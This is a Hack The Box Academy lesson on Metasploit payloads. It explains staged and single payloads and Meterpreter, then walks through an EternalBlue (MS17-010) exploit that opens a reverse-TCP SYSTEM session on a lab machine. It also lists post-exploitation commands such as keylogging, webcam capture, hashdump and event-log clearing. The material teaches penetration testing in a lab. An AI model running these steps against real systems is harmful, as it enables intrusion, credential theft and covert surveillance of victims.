academy.hackthebox.com

Hack The Box - Academy

Themesbrand

38-48 minutes

Payloads

A `Payload` in Metasploit refers to a module that aids the exploit module in (typically) returning a shell to the attacker. The payloads are sent together with the exploit itself to bypass standard functioning procedures of the vulnerable service (`exploits job`) and then run on the target OS to typically return a reverse connection to the attacker and establish a foothold (`payload's job`).

There are three different types of payload modules in the Metasploit Framework: Singles, Stagers, and Stages. Using three typologies of payload interaction will prove beneficial to the pentester. It can offer the flexibility we need to perform certain types of tasks. Whether or not a payload is staged is represented by `/` in the payload name.

For example, `windows/shell_bind_tcp` is a single payload with no stage, whereas `windows/shell/bind_tcp` consists of a stager (`bind_tcp`) and a stage (`shell`).

Singles

A `Single` payload contains the exploit and the entire shellcode for the selected task. Inline payloads are by design more stable than their counterparts because they contain everything all-in-one. However, some exploits will not support the resulting size of these payloads as they can get quite large. `Singles` are self-contained payloads. They are the sole object sent and executed on the target system, getting us a result immediately after running. A Single payload can be as simple as adding a user to the

target system or booting up a process.

Stagers

`Stager` payloads work with Stage payloads to perform a specific task. A Stager is waiting on the attacker machine, ready to establish a connection to the victim host once the stage completes its run on the remote host. `Stagers` are typically used to set up a network connection between the attacker and victim and are designed to be small and reliable. Metasploit will use the best one and fall back to a less-preferred one when necessary.

Windows NX vs. NO-NX Stagers

- Reliability issue for NX CPUs and DEP
- NX stagers are bigger (VirtualAlloc memory)
- Default is now NX + Win7 compatible

Stages

`Stages` are payload components that are downloaded by stager's modules. The various payload Stages provide advanced features with no size limits, such as Meterpreter, VNC Injection, and others. Payload stages automatically use middle stagers:

- A single `recv()` fails with large payloads
- The Stager receives the middle stager
- The middle Stager then performs a full download
- Also better for RWX

Staged Payloads

A staged payload is, simply put, an `exploitation process` that is modularized and functionally separated to help segregate the different functions it accomplishes into different code blocks, each completing its objective individually but working on chaining the attack together. This will ultimately grant an attacker remote access to the target machine if all the stages work correctly.

The scope of this payload, as with any others, besides granting shell access to the target system, is to be as compact and inconspicuous as possible to aid with the Antivirus (AV) / Intrusion Prevention System (IPS) evasion as much as possible.

`Stage0` of a staged payload represents the initial shellcode sent over the network to the target machine's vulnerable service, which has the sole purpose of initializing a connection back to the attacker machine. This is what is known as a reverse connection. As a Metasploit user, we will meet these under the common names `reverse_tcp`, `reverse_https`, and `bind_tcp`. For example, under the `show payloads` command, you can look for the payloads that look like the following:

MSF - Staged Payloads

MSF - Staged Payloads

```
msf6 > show payloads

<SNIP>

535  windows/x64/meterpreter/bind_ipv6_tcp
normal  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 IPv6 Bind TCP Stager
536  windows/x64/meterpreter/bind_ipv6_tcp_uuid
normal  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 IPv6 Bind TCP Stager with
UUID Support
537  windows/x64/meterpreter/bind_named_pipe
normal  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 Bind Named Pipe Stager
538  windows/x64/meterpreter/bind_tcp
normal  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 Bind TCP Stager
539  windows/x64/meterpreter/bind_tcp_rc4
normal  No     Windows Meterpreter (Reflective
Injection x64), Bind TCP Stager (RC4 Stage Encryption,
Metasm)
540  windows/x64/meterpreter/bind_tcp_uuid
```

```
normal  No     Windows Meterpreter (Reflective
Injection x64), Bind TCP Stager with UUID Support
(Windows x64)
541  windows/x64/meterpreter/reverse_http
normal  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse HTTP Stager
(wininet)
542  windows/x64/meterpreter/reverse_https
normal  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse HTTP Stager
(wininet)
543  windows/x64/meterpreter/reverse_named_pipe
normal  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse Named Pipe (SMB)
Stager
544  windows/x64/meterpreter/reverse_tcp
normal  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse TCP Stager
545  windows/x64/meterpreter/reverse_tcp_rc4
normal  No     Windows Meterpreter (Reflective
Injection x64), Reverse TCP Stager (RC4 Stage
Encryption, Metasm)
546  windows/x64/meterpreter/reverse_tcp_uuid
normal  No     Windows Meterpreter (Reflective
Injection x64), Reverse TCP Stager with UUID Support
(Windows x64)
547  windows/x64/meterpreter/reverse_winhttp
normal  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse HTTP Stager
(winhttp)
548  windows/x64/meterpreter/reverse_winhttps
normal  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse HTTPS Stager
(winhttp)

<SNIP>
```

Reverse connections are less likely to trigger prevention systems like the

one initializing the connection is the victim host, which most of the time resides in what is known as a `security trust zone`. However, of course, this trust policy is not blindly followed by the security devices and personnel of a network, so the attacker must tread carefully even with this step.

Stage0 code also aims to read a larger, subsequent payload into memory once it arrives. After the stable communication channel is established between the attacker and the victim, the attacker machine will most likely send an even bigger payload stage which should grant them shell access. This larger payload would be the `Stage1` payload. We will go into more detail in the later sections.

Meterpreter Payload

The `Meterpreter` payload is a specific type of multi-faceted payload that uses `DLL injection` to ensure the connection to the victim host is stable, hard to detect by simple checks, and persistent across reboots or system changes. Meterpreter resides completely in the memory of the remote host and leaves no traces on the hard drive, making it very difficult to detect with conventional forensic techniques. In addition, scripts and plugins can be `loaded and unloaded` dynamically as required.

Once the Meterpreter payload is executed, a new session is created, which spawns up the Meterpreter interface. It is very similar to the msfconsole interface, but all available commands are aimed at the target system, which the payload has "infected." It offers us a plethora of useful commands, varying from keystroke capture, password hash collection, microphone tapping, and screenshotting to impersonating process security tokens. We will delve into more detail about Meterpreter in a later section.

Using Meterpreter, we can also `load` in different Plugins to assist us with our assessment. We will talk more about these in the Plugins section of this module.

Searching for Payloads

To select our first payload, we need to know what we want to do on the target machine. For example, if we are going for access persistence, we will

probably want to select a Meterpreter payload.

As mentioned above, Meterpreter payloads offer us a significant amount of flexibility. Their base functionality is already vast and influential. We can automate and quickly deliver combined with plugins such as GentilKiwi's Mimikatz Plugin parts of the pentest while keeping an organized, time-effective assessment. To see all of the available payloads, use the `show payloads` command in `msfconsole`.

MSF - List Payloads

MSF - List Payloads

```
msf6 > show payloads

Payloads
========

   #    Name
Disclosure Date  Rank    Check  Description
-    ----
---------------  ----    -----  -----------
   0    aix/ppc/shell_bind_tcp
manual  No     AIX Command Shell, Bind TCP Inline
   1    aix/ppc/shell_find_port
manual  No     AIX Command Shell, Find Port Inline
   2    aix/ppc/shell_interact
manual  No     AIX execve Shell for inetd
   3    aix/ppc/shell_reverse_tcp
manual  No     AIX Command Shell, Reverse TCP Inline
   4    android/meterpreter/reverse_http
manual  No     Android Meterpreter, Android Reverse
HTTP Stager
   5    android/meterpreter/reverse_https
manual  No     Android Meterpreter, Android Reverse
HTTPS Stager
   6    android/meterpreter/reverse_tcp
manual  No     Android Meterpreter, Android Reverse TCP
Stager
```

```
   7    android/meterpreter_reverse_http
manual  No     Android Meterpreter Shell, Reverse HTTP
Inline
   8    android/meterpreter_reverse_https
manual  No     Android Meterpreter Shell, Reverse HTTPS
Inline
   9    android/meterpreter_reverse_tcp
manual  No     Android Meterpreter Shell, Reverse TCP
Inline
   10   android/shell/reverse_http
manual  No     Command Shell, Android Reverse HTTP
Stager
   11   android/shell/reverse_https
manual  No     Command Shell, Android Reverse HTTPS
Stager
   12   android/shell/reverse_tcp
manual  No     Command Shell, Android Reverse TCP
Stager
   13   apple_ios/aarch64/meterpreter_reverse_http
manual  No     Apple_iOS Meterpreter, Reverse HTTP
Inline

<SNIP>

   557  windows/x64/vncinject/reverse_tcp
manual  No     Windows x64 VNC Server (Reflective
Injection), Windows x64 Reverse TCP Stager
   558  windows/x64/vncinject/reverse_tcp_rc4
manual  No     Windows x64 VNC Server (Reflective
Injection), Reverse TCP Stager (RC4 Stage Encryption,
Metasm)
   559  windows/x64/vncinject/reverse_tcp_uuid
manual  No     Windows x64 VNC Server (Reflective
Injection), Reverse TCP Stager with UUID Support
(Windows x64)
   560  windows/x64/vncinject/reverse_winhttp
manual  No     Windows x64 VNC Server (Reflective
Injection), Windows x64 Reverse HTTP Stager (winhttp)
```

```
   561  windows/x64/vncinject/reverse_winhttps
manual  No     Windows x64 VNC Server (Reflective
Injection), Windows x64 Reverse HTTPS Stager (winhttp)
```

As seen above, there are a lot of available payloads to choose from. Not only that, but we can create our payloads using `msfvenom`, but we will dive into that a little bit later. We will use the same target as before, and instead of using the default payload, which is a simple `reverse_tcp_shell`, we will be using a `Meterpreter Payload for Windows 7(x64)`.

Scrolling through the list above, we find the section containing `Meterpreter Payloads for Windows(x64)`.

MSF - List Payloads

```
   515  windows/x64/meterpreter/bind_ipv6_tcp
manual  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 IPv6 Bind TCP Stager
   516  windows/x64/meterpreter/bind_ipv6_tcp_uuid
manual  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 IPv6 Bind TCP Stager with
UUID Support
   517  windows/x64/meterpreter/bind_named_pipe
manual  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 Bind Named Pipe Stager
   518  windows/x64/meterpreter/bind_tcp
manual  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 Bind TCP Stager
   519  windows/x64/meterpreter/bind_tcp_rc4
manual  No     Windows Meterpreter (Reflective
Injection x64), Bind TCP Stager (RC4 Stage Encryption,
Metasm)
   520  windows/x64/meterpreter/bind_tcp_uuid
manual  No     Windows Meterpreter (Reflective
Injection x64), Bind TCP Stager with UUID Support
(Windows x64)
   521  windows/x64/meterpreter/reverse_http
manual  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse HTTP Stager
(wininet)
```

```
   522  windows/x64/meterpreter/reverse_https
manual  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse HTTP Stager
(wininet)
   523  windows/x64/meterpreter/reverse_named_pipe
manual  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse Named Pipe (SMB)
Stager
   524  windows/x64/meterpreter/reverse_tcp
manual  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse TCP Stager
   525  windows/x64/meterpreter/reverse_tcp_rc4
manual  No     Windows Meterpreter (Reflective
Injection x64), Reverse TCP Stager (RC4 Stage
Encryption, Metasm)
   526  windows/x64/meterpreter/reverse_tcp_uuid
manual  No     Windows Meterpreter (Reflective
Injection x64), Reverse TCP Stager with UUID Support
(Windows x64)
   527  windows/x64/meterpreter/reverse_winhttp
manual  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse HTTP Stager
(winhttp)
   528  windows/x64/meterpreter/reverse_winhttps
manual  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse HTTPS Stager
(winhttp)
   529  windows/x64/meterpreter_bind_named_pipe
manual  No     Windows Meterpreter Shell, Bind Named
Pipe Inline (x64)
   530  windows/x64/meterpreter_bind_tcp
manual  No     Windows Meterpreter Shell, Bind TCP
Inline (x64)
   531  windows/x64/meterpreter_reverse_http
manual  No     Windows Meterpreter Shell, Reverse HTTP
Inline (x64)
   532  windows/x64/meterpreter_reverse_https
manual  No     Windows Meterpreter Shell, Reverse HTTPS
```

```
Inline (x64)
   533  windows/x64/meterpreter_reverse_ipv6_tcp
manual  No     Windows Meterpreter Shell, Reverse TCP
Inline (IPv6) (x64)
   534  windows/x64/meterpreter_reverse_tcp
manual  No     Windows Meterpreter Shell, Reverse TCP
Inline x64
```

As we can see, it can be pretty time-consuming to find the desired payload with such an extensive list. We can also use `grep` in `msfconsole` to filter out specific terms. This would speed up the search and, therefore, our selection.

We have to enter the `grep` command with the corresponding parameter at the beginning and then the command in which the filtering should happen. For example, let us assume that we want to have a TCP based `reverse shell` handled by `Meterpreter` for our exploit. Accordingly, we can first search for all results that contain the word `Meterpreter` in the payloads.

MSF - Searching for Specific Payload

MSF - Searching for Specific Payload

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > grep
meterpreter show payloads

   6   payload/windows/x64/meterpreter/bind_ipv6_tcp
normal  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 IPv6 Bind TCP Stager
   7   payload/windows/x64/meterpreter
/bind_ipv6_tcp_uuid                   normal  No
Windows Meterpreter (Reflective Injection x64), Windows
x64 IPv6 Bind TCP Stager with UUID Support
   8   payload/windows/x64/meterpreter/bind_named_pipe
normal  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 Bind Named Pipe Stager
   9   payload/windows/x64/meterpreter/bind_tcp
normal  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 Bind TCP Stager
```

```
   10  payload/windows/x64/meterpreter/bind_tcp_rc4
normal  No     Windows Meterpreter (Reflective
Injection x64), Bind TCP Stager (RC4 Stage Encryption,
Metasm)
   11  payload/windows/x64/meterpreter/bind_tcp_uuid
normal  No     Windows Meterpreter (Reflective
Injection x64), Bind TCP Stager with UUID Support
(Windows x64)
   12  payload/windows/x64/meterpreter/reverse_http
normal  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse HTTP Stager
(wininet)
   13  payload/windows/x64/meterpreter/reverse_https
normal  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse HTTP Stager
(wininet)
   14  payload/windows/x64/meterpreter
/reverse_named_pipe                    normal  No
Windows Meterpreter (Reflective Injection x64), Windows
x64 Reverse Named Pipe (SMB) Stager
   15  payload/windows/x64/meterpreter/reverse_tcp
normal  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse TCP Stager
   16  payload/windows/x64/meterpreter/reverse_tcp_rc4
normal  No     Windows Meterpreter (Reflective
Injection x64), Reverse TCP Stager (RC4 Stage
Encryption, Metasm)
   17  payload/windows/x64/meterpreter/reverse_tcp_uuid
normal  No     Windows Meterpreter (Reflective
Injection x64), Reverse TCP Stager with UUID Support
(Windows x64)
   18  payload/windows/x64/meterpreter/reverse_winhttp
normal  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse HTTP Stager
(winhttp)
   19  payload/windows/x64/meterpreter/reverse_winhttps
normal  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse HTTPS Stager
```

```
(winhttp)


msf6 exploit(windows/smb/ms17_010_eternalblue) > grep
-c meterpreter show payloads

[*] 14
```

This gives us a total of 14 results. Now we can add another `grep` command after the first one and search for `reverse_tcp`.

MSF - Searching for Specific Payload

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > grep
meterpreter grep reverse_tcp show payloads

   15  payload/windows/x64/meterpreter/reverse_tcp
normal  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse TCP Stager
   16  payload/windows/x64/meterpreter/reverse_tcp_rc4
normal  No     Windows Meterpreter (Reflective
Injection x64), Reverse TCP Stager (RC4 Stage
Encryption, Metasm)
   17  payload/windows/x64/meterpreter/reverse_tcp_uuid
normal  No     Windows Meterpreter (Reflective
Injection x64), Reverse TCP Stager with UUID Support
(Windows x64)


msf6 exploit(windows/smb/ms17_010_eternalblue) > grep
-c meterpreter grep reverse_tcp show payloads

[*] 3
```

With the help of `grep`, we reduced the list of payloads we wanted down to fewer. Of course, the `grep` command can be used for all other commands. All we need to know is what we are looking for.

Selecting Payloads

Same as with the module, we need the index number of the entry we would like to use. To set the payload for the currently selected module, we use `set payload <no.>` only after selecting an Exploit module to begin with.

MSF - Select Payload

MSF - Select Payload

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show
options

Module options (exploit/windows
/smb/ms17_010_eternalblue):

   Name           Current Setting  Required
Description
   ----           ---------------  --------
-----------
   RHOSTS                          yes       The target
host(s), range CIDR identifier, or hosts file with
syntax 'file:<path>'
   RPORT          445              yes       The target
port (TCP)
   SMBDomain      .                no        (Optional)
The Windows domain to use for authentication
   SMBPass                         no        (Optional)
The password for the specified username
   SMBUser                         no        (Optional)
The username to authenticate as
   VERIFY_ARCH    true             yes       Check if
remote architecture matches exploit Target.
   VERIFY_TARGET  true             yes       Check if
remote OS matches exploit Target.


Exploit target:

   Id  Name
```

```
   --  ----
   0   Windows 7 and Server 2008 R2 (x64) All Service
Packs



msf6 exploit(windows/smb/ms17_010_eternalblue) > grep
meterpreter grep reverse_tcp show payloads

   15  payload/windows/x64/meterpreter/reverse_tcp
normal  No     Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse TCP Stager
   16  payload/windows/x64/meterpreter/reverse_tcp_rc4
normal  No     Windows Meterpreter (Reflective
Injection x64), Reverse TCP Stager (RC4 Stage
Encryption, Metasm)
   17  payload/windows/x64/meterpreter/reverse_tcp_uuid
normal  No     Windows Meterpreter (Reflective
Injection x64), Reverse TCP Stager with UUID Support
(Windows x64)


msf6 exploit(windows/smb/ms17_010_eternalblue) > set
payload 15

payload => windows/x64/meterpreter/reverse_tcp
```

After selecting a payload, we will have more options available to us.

MSF - Select Payload

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show
options

Module options (exploit/windows
/smb/ms17_010_eternalblue):

   Name           Current Setting  Required
Description
```

```
   ----           ---------------  --------
-----------
   RHOSTS                          yes       The target
host(s), range CIDR identifier, or hosts file with
syntax 'file:<path>'
   RPORT          445              yes       The target
port (TCP)
   SMBDomain      .                no        (Optional)
The Windows domain to use for authentication
   SMBPass                         no        (Optional)
The password for the specified username
   SMBUser                         no        (Optional)
The username to authenticate as
   VERIFY_ARCH    true             yes       Check if
remote architecture matches exploit Target.
   VERIFY_TARGET  true             yes       Check if
remote OS matches exploit Target.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique
(Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen
address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows 7 and Server 2008 R2 (x64) All Service
Packs
```

As we can see, by running the `show payloads` command within the

Exploit module itself, msfconsole has detected that the target is a Windows machine, and such only displayed the payloads aimed at Windows operating systems.

We can also see that a new option field has appeared, directly related to what the payload parameters will contain. We will be focusing on LH0ST and LP0RT (our attacker IP and the desired port for reverse connection initialization). Of course, if the attack fails, we can always use a different port and relaunch the attack.

Using Payloads

Time to set our parameters for both the Exploit module and the payload module. For the Exploit part, we will need to set the following:

Parameter	Description
RH0STS	The IP address of the remote host, the target machine.
RP0RT	Does not require a change, just a check that we are on port 445, where SMB is running.

For the payload part, we will need to set the following:

Parameter	Description
LH0ST	The host's IP address, the attacker's machine.
LP0RT	Does not require a change, just a check that the port is not already in use.

If we want to check our LHOST IP address quickly, we can always call the `ifconfig` command directly from the msfconsole menu.

MSF - Exploit and Payload Configuration

MSF - Exploit and Payload Configuration

```
msf6 exploit(**windows/smb/ms17_010_eternalblue**) >
ifconfig

**[\*]** exec: ifconfig
```

```
tun0:
flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu
1500

<SNIP>

inet 10.10.14.15 netmask 255.255.254.0 destination
10.10.14.15

<SNIP>


msf6 exploit(windows/smb/ms17_010_eternalblue) > set
LHOST 10.10.14.15

LHOST => 10.10.14.15


msf6 exploit(windows/smb/ms17_010_eternalblue) > set
RHOSTS 10.10.10.40

RHOSTS => 10.10.10.40
```

Then, we can run the exploit and see what it returns. Check out the differences in the output below:

MSF - Exploit and Payload Configuration

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.10.14.15:4444
[*] 10.10.10.40:445 - Using auxiliary/scanner
/smb/smb_ms17_010 as check
[+] 10.10.10.40:445       - Host is likely VULNERABLE
to MS17-010! - Windows 7 Professional 7601 Service Pack
1 x64 (64-bit)
[*] 10.10.10.40:445       - Scanned 1 of 1 hosts (100%
complete)
[*] 10.10.10.40:445 - Connecting to target for
```

```
exploitation.
[+] 10.10.10.40:445 - Connection established for
exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS
indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73
20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20
37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63
6b 20 31                    ice Pack 1
[+] 10.10.10.40:445 - Target arch selected valid for
arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom
Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of
exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating
free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit
packet!
[*] 10.10.10.40:445 - Receiving response from exploit
packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed
successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted
connection.
[*] 10.10.10.40:445 - Triggering free of corrupted
buffer.
[*] Sending stage (201283 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened (10.10.14.15:4444 ->
10.10.10.40:49158) at 2020-08-14 11:25:32 +0000
[+] 10.10.10.40:445 -
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
```

```
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-
WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 -
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


meterpreter > whoami

[-] Unknown command: whoami.


meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM
```

The prompt is not a Windows command-line one but a `Meterpreter` prompt. The `whoami` command, typically used for Windows, does not work here. Instead, we can use the Linux equivalent of `getuid`. Exploring the `help` menu gives us further insight into what Meterpreter payloads are capable of.

MSF - Meterpreter Commands

MSF - Meterpreter Commands

```
meterpreter > help

Core Commands
=============


    Command                         Description
    -------                         -----------
    ?                               Help menu
    background                      Backgrounds the current
session
    bg                              Alias for background
    bgkill                          Kills a background
meterpreter script
    bglist                          Lists running background
```

```
scripts
    bgrun                     Executes a meterpreter
script as a background thread
    channel                   Displays information or
control active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of
Unicode strings
    enable_unicode_encoding   Enables encoding of
Unicode strings
    exit                      Terminate the meterpreter
session
    get_timeouts              Get the current session
timeout values
    guid                      Get the session GUID
    help                      Help menu
    info                      Displays information
about a Post module
    IRB                       Open an interactive Ruby
shell on the current session
    load                      Load one or more
meterpreter extensions
    machine_id                Get the MSF ID of the
machine attached to the session
    migrate                   Migrate the server to
another process
    pivot                     Manage pivot listeners
    pry                       Open the Pry debugger on
the current session
    quit                      Terminate the meterpreter
session
    read                      Reads data from a channel
    resource                  Run the commands stored
in a file
    run                       Executes a meterpreter
script or Post module
    secure                    (Re)Negotiate TLV packet
encryption on the session
```

```
    sessions                  Quickly switch to another
session
    set_timeouts              Set the current session
timeout values
    sleep                     Force Meterpreter to go
quiet, then re-establish session.
    transport                 Change the current
transport mechanism
    use                       Deprecated alias for
"load"
    uuid                      Get the UUID for the
current session
    write                     Writes data to a channel


Strap: File system Commands
===========================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the
screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    LCD           Change local working directory
    lls           List local files
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    PWD           Print working directory
    rm            Delete the specified file
```

```
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory


Strap: Networking Commands
==========================

    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    get proxy      Display the current proxy
configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote
service
    resolve       Resolve a set of hostnames on the
target
    route         View and modify the routing table


Strap: System Commands
======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation
token.
    execute       Execute a command
    getenv        Get one or more environment variable
values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges
available to the current process
```

```
    getsid        Get the SID of the user that the
server is running as
    getuid        Get the user that the server is
running as
    kill          Terminate a process
    localtime     Displays the target system's local
date and time
    pgrep         Filter processes by name
    pkill         Terminate processes by name
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote
registry
    rev2self      Calls RevertToSelf() on the remote
machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation
token from the target process
    suspend       Suspends or resumes a list of
processes
    sysinfo       Gets information about the remote
system, such as OS


Strap: User interface Commands
==============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and
window stations
    getdesktop     Get the current meterpreter desktop
    idle time       Returns the number of seconds the
remote user has been idle
    keyboard_send  Send keystrokes
    keyevent       Send key events
    keyscan_dump   Dump the keystroke buffer
```

```
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    mouse          Send mouse events
    screenshare    Watch the remote user's desktop in
real-time
    screenshot     Grab a screenshot of the interactive
desktop
    setdesktop     Change the meterpreters current
desktop
    uictl          Control some of the user interface
components


Stdapi: Webcam Commands
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default
microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified
webcam
    webcam_stream  Play a video stream from the
specified webcam


Strap: Audio Output Commands
============================

    Command       Description
    -------       -----------
    play          play a waveform audio file (.wav) on
the target system


Priv: Elevate Commands
```

```
======================

    Command       Description
    -------       -----------
    get system     Attempt to elevate your privilege to
that of the local system.


Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM
database


Priv: Timestamp Commands
========================

    Command       Description
    -------       -----------
    timestamp     Manipulate file MACE attributes
```

Pretty nifty. From extracting user hashes from SAM to taking screenshots and activating webcams. All of this is done from the comfort of a Linux-style command line. Exploring further, we also see the option to open a shell channel. This will place us in the actual Windows command-line interface.

MSF - Meterpreter Navigation

MSF - Meterpreter Navigation

```
meterpreter > cd Users
meterpreter > ls

Listing: C:\Users
=================
```

```
Mode              Size  Type  Last modified
Name
----              ----  ----  -------------
----
40777/rwxrwxrwx   8192  dir   2017-07-21 06:56:23 +0000
Administrator
40777/rwxrwxrwx   0     dir   2009-07-14 05:08:56 +0000
All Users
40555/r-xr-xr-x   8192  dir   2009-07-14 03:20:08 +0000
Default
40777/rwxrwxrwx   0     dir   2009-07-14 05:08:56 +0000
Default User
40555/r-xr-xr-x   4096  dir   2009-07-14 03:20:08 +0000
Public
100666/rw-rw-rw-  174   fil   2009-07-14 04:54:24 +0000
desktop.ini
40777/rwxrwxrwx   8192  dir   2017-07-14 13:45:33 +0000
haris


meterpreter > shell

Process 2664 created.
Channel 1 created.

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights
reserved.

C:\Users>
```

`Channel 1` has been created, and we are automatically placed into the CLI for this machine. The channel here represents the connection between our device and the target host, which has been established in a reverse TCP connection (from the target host to us) using a Meterpreter Stager and Stage. The stager was activated on our machine to await a connection request initialized by the Stage payload on the target machine.

Moving into a standard shell on the target is helpful in some cases, but

Meterpreter can also navigate and perform actions on the victim machine. So we see that the commands have changed, but we have the same privilege level within the system.

MSF - Windows CMD

MSF - Windows CMD

```
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights
reserved.

C:\Users>dir

dir
 Volume in drive C has no label.
 Volume Serial Number is A0EF-1911

 Directory of C:\Users

21/07/2017  07:56    <DIR>          .
21/07/2017  07:56    <DIR>          ..
21/07/2017  07:56    <DIR>          Administrator
14/07/2017  14:45    <DIR>          haris
12/04/2011  08:51    <DIR>          Public
               0 File(s)              0 bytes
               5 Dir(s)  15,738,978,304 bytes free

C:\Users>whoami

whoami
nt authority\system
```

Let's see what other types of payloads we can use. We will be looking at the most common ones related to Windows operating systems.

Payload Types

The table below contains the most common payloads used for Windows

machines and their respective descriptions.

Payload	Description
`generic/custom`	Generic listener, multi-use
`generic/shell_bind_tcp`	Generic listener, multi-use, normal shell, TCP connection binding
`generic/shell_reverse_tcp`	Generic listener, multi-use, normal shell, reverse TCP connection
`windows/x64/exec`	Executes an arbitrary command (Windows x64)
`windows/x64/loadlibrary`	Loads an arbitrary x64 library path
`windows/x64/messagebox`	Spawns a dialog via MessageBox using a customizable title, text & icon
`windows/x64 /shell_reverse_tcp`	Normal shell, single payload, reverse TCP connection
`windows/x64/shell /reverse_tcp`	Normal shell, stager + stage, reverse TCP connection
`windows/x64/shell /bind_ipv6_tcp`	Normal shell, stager + stage, IPv6 Bind TCP stager
`windows/x64/meterpreter/$`	Meterpreter payload + varieties above
`windows/x64/powershell/$`	Interactive PowerShell sessions + varieties above
`windows/x64/vncinject/$`	VNC Server (Reflective Injection) + varieties above

Other critical payloads that are heavily used by penetration testers during security assessments are Empire and Cobalt Strike payloads. These are not in the scope of this course, but feel free to research them in our free time as they can provide a significant amount of insight into how professional penetration testers perform their assessments on high-value targets.

Besides these, of course, there are a plethora of other payloads out there. Some are for specific device vendors, such as Cisco, Apple, or PLCs. Some we can generate ourselves using `msfvenom`. However, next up, we will look at `Targets` and how they can be used to influence the attack outcome.

VPN Servers

Warning: Each time you "Switch", your connection keys are regenerated and you must re-download your VPN connection file.

